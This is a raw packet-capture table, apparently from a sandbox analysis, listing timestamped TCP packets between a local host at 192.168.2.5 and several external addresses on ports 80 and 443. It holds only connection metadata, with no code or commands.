Oct 30, 2024 21:56:24.182481050 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182487965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182491064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182502031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182527065 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182557106 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182745934 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182756901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182766914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182796001 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182826042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.187995911 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188066006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188069105 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188076019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188111067 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188142061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188199997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188210011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188219070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188225031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188235998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188249111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188270092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188272953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188283920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188297033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188306093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188314915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188316107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188335896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188338995 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188338995 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188338995 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188347101 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188359976 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188364983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188369989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188383102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188390970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188394070 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188406944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188417912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188420057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188435078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188451052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188478947 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188608885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188625097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188637018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188646078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188656092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188659906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188664913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188677073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188679934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188688040 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188695908 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188711882 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188713074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188723087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188729048 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188750982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188777924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188791990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188807011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188838005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188868046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.188936949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.188997030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189013004 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189022064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189066887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189066887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189084053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189095020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189126015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189157009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189337015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189349890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189385891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189418077 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189589977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189600945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189610958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189627886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189639091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189646006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189646006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189649105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189659119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189667940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189677954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189681053 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189702988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189704895 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189744949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189744949 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189744949 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189754963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.189795971 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.189825058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244308949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244373083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244391918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244400978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244446039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244446039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244467020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244477034 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244488001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244498968 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244509935 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244510889 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244551897 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244551897 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244627953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244646072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244656086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244664907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244676113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244677067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244690895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244703054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244704962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244704962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244713068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244726896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244738102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244736910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244749069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.244760990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.244784117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297475100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297563076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297635078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297645092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297661066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297669888 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297681093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297696114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297702074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297702074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297702074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297754049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297754049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297780991 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297800064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297810078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297837019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297841072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297847986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297852039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297878027 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297890902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297905922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297915936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.297950983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.297965050 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.298058987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298074007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298079014 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298108101 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.298121929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298126936 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.298132896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298166037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.298192024 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.298939943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.298985958 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299048901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299058914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299068928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299088001 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299099922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299112082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299113035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299144030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299185991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299196005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299211979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299221992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299231052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299232006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299257040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299283028 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299650908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299660921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.299699068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.299715996 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.300075054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.300084114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.300118923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.300133944 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304083109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304125071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304136038 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304152012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304152012 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304163933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304166079 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304187059 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304207087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304208040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304218054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304260969 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304349899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304359913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304372072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304392099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304425001 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304446936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304487944 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304516077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304527044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304558039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304573059 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304614067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304624081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304634094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304644108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304652929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304656029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304675102 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304702997 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304735899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304778099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304812908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304822922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304864883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304913044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304923058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304933071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.304955959 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.304986954 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305002928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305022001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305056095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305197001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305207014 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305217981 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305227995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305243015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305267096 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305283070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305299997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305324078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305351973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305376053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305403948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305413961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305430889 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305454016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305610895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305622101 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305630922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305648088 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305651903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305680037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305705070 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305754900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305766106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305800915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305814981 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305844069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305885077 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.305905104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.305948973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:25.843652010 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:25.843746901 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:25.843853951 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:25.844027042 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:25.844072104 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.291418076 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.291510105 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.291601896 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.291897058 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.291932106 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.630264997 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:26.630492926 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:26.633965015 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:26.636245012 CET	80	50239	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:26.636312962 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:26.636428118 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:26.636943102 CET	80	50231	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:26.637008905 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:26.639843941 CET	80	50240	185.215.113.206	192.168.2.5
Oct 30, 2024 21:56:26.639978886 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:26.640016079 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:26.642154932 CET	80	50239	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:26.645898104 CET	80	50240	185.215.113.206	192.168.2.5
Oct 30, 2024 21:56:26.900459051 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.900613070 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.907901049 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.907923937 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.908124924 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:26.912430048 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.915714025 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:26.915721893 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:27.430241108 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:27.430311918 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:27.430565119 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:27.434858084 CET	50238	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:27.434900999 CET	443	50238	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:27.558538914 CET	80	50240	185.215.113.206	192.168.2.5
Oct 30, 2024 21:56:27.558592081 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:27.562943935 CET	80	50239	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:27.564014912 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:27.593509912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:27.593873024 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:27.595895052 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:27.600918055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:27.600934982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:27.601006985 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:27.601039886 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:27.602854967 CET	80	50240	185.215.113.206	192.168.2.5
Oct 30, 2024 21:56:27.603373051 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:27.609210968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:27.888693094 CET	80	50240	185.215.113.206	192.168.2.5
Oct 30, 2024 21:56:27.888748884 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:28.376420975 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:28.376487970 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:28.376570940 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:28.376847982 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:28.376893997 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:28.554176092 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554192066 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554200888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554212093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554236889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.554256916 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.554346085 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554357052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554367065 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554377079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554384947 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.554400921 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.554434061 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.554553032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.554568052 CET	80	50241	185.215.113.16	192.168.2.5
